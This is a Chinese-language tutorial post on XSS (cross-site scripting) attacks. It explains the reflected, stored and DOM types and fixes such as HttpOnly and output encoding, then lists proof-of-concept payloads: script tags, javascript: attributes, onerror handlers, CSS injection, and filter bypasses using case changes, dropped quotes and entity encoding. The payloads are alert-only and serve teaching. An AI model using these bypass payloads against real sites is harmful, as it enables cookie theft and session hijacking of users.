【33】WEB安全學習----XSS攻擊1

關於XSS跨站腳本攻擊有太多文章和教材提供了,本章就簡單介紹XSS攻擊原理,重點介紹XSS代碼構造和繞過。

一、XSS攻擊原理

XSS攻擊:即跨站腳本攻擊,是指攻擊者在網頁中嵌入客戶端JavaScript腳本,當用戶使用瀏覽器瀏覽嵌入惡意代碼的網頁時,惡意代碼將會在用戶的瀏覽器上執行。

JavaScript可以用來獲取用戶cookie、改變網頁內容、URL跳轉等等,那麼存在XSS漏洞的網站就可以盜取用戶cookie、黑掉頁面、導航到惡意網址等。

XSS攻擊分爲三類:反射型存儲型DOM型

反射型XSS

反射性XSS也叫非持久型XSS,是最容易出現的一種XSS漏洞,當用戶訪問一個帶有XSS代碼的URL請求時,服務器端接收數據後處理,然後把帶有XSS代碼的數據發送到瀏覽器,瀏覽器解析這段帶有XSS代碼的數據後,最終造成XSS漏洞。這個過程就像一次反射,故稱爲反射型XSS。

存儲型XSS

存儲型XSS又被稱爲持久型XSS,存儲型XSS是最危險的一種跨站腳本。

允許用戶存儲數據的Web應用程序都可能出現存儲型XSS漏洞,當攻擊提交一段XSS代碼後,被服務器端接受並存儲,當攻擊者再次訪問頁面時,這段XSS代碼就會被讀取出來並響應給瀏覽器,造成XSS跨站攻擊。

DOM型XSS

學過JavaScript都知道DOM(文檔對象模型),使用DOM可以允許程序動態的訪問和跟新文檔的內容和結構。

而基於DOM型的XSS是不需要與服務器端交互的,它只發生在客戶端處理數據階段。

二、XSS攻擊利用

JavaScript語言非常強大,可以做很多事情,可利用JavaScript做如:經緯度定位、獲取HTML源碼、H5截屏、端口掃描、CSRF攻擊、鍵盤記錄、頁面僞造、點擊劫持、釣魚等等。

具體功能可參考BEFF和一些XSS利用平臺。

三、XSS攻擊修復

1、HttpOnly

HttpOnly最早由微軟提出,如今已成爲一個標準,瀏覽器將禁止頁面的JavaScript訪問帶有HttpOnly屬性的Cookie。

所以,HttpOnly是解決XSS攻擊後的Cookie劫持攻擊,而不是解決XSS攻擊。

2、輸入檢查

對用戶提交的數據進行檢查,如長度、類型等檢查,或採用XSS Filter過濾器進行XSS檢查。

3、輸出編碼

可採用HTML實體編碼HtmlEncode。對&、<、>、"、'、/等進行轉義編碼。

四、XSS構造研究

1、插入<>標記

如果能插入<>標記,那麼就能操作一個html標籤,然後通過<script>標籤就能插入任意的腳本代碼。

<script>alert(/xss/)</script>

2、利用HTML標籤屬性值執行XSS

如果不能構造自己的HTML標籤,但是還是可以通過其他形式來執行XSS,如HTML標籤的屬性值。

很多HTML標籤中的屬性都支持JavaScript:[code]僞協議的形式,如:

<img src="javascript:alert('xss');">

<table background="javascript:alert('xss');">

但目前支持這種僞協議的瀏覽器爲老版本,如IE6。

並不是所有的標記屬性都能產生XSS,通常只有引用文件的屬性才能觸發XSS。

如:href=、lowsrc=、bgsound=、background=、value=、action=、dynsrc=等等。

經測試,火狐、谷歌瀏覽器均不支持此僞協議:

只有IE6支持此僞協議:

3、利用事件觸發

因爲標籤屬性值只有特定瀏覽器才能觸發,如IE6,那麼有沒有其他辦法呢?事件就是其中一種方法。

事件就是瀏覽器自身執行的某種動作,如click、mouseover、load等,而響應事件的函數叫做事件處理函數(事件偵聽器)。如:

<img src="#" οnerrοr=alert(/xss/)>

onerror是IMG標記的一個事件,只要頁面中發生錯誤,該事件立即被激活。

4、利用CSS進行跨站攻擊

使用CSS樣式表執行JavaScript具有隱蔽性、靈活多變等特點,但是CSS樣式表有一個很大的缺點:各瀏覽器不能通用,甚至於同一瀏覽器不同版本之間都不能通用。

<div style="background-image:url(javascript:alert(/xss1/))">
<style>
    body {background-image:url("javascript:alert(/xss2/)");}
</style>

<style>
    @import 'javascript:alert("xss3")';
</style>

經測試,此代碼也只能在IE6中被觸發:

可見,以上能通殺的就只有利用事件進行觸發的方法。

5、XSS繞過

大小寫繞過:jaVaSCript

單雙引號互用:<img src='xxx'>、<img src="xxx">

不用引號:<img src=javascript:alert(xss);>

繞過空格:<img/src="javascript:alert('xss');">

編碼繞過:HTML屬性值支持ASCII碼。

通用:

十進制編碼
<img src="#" οnerrοr=&#97;&#108;&#101;&#114;&#116;&#40;&#47;&#120;&#115;&#115;&#53;&#47;&#41;>  

十六進制編碼
<img src="#" οnerrοr=&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x002f;&#x0078;&#x0073;&#x0073;&#x0035;&#x002f;&#x0029;>

 

 

 

 

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章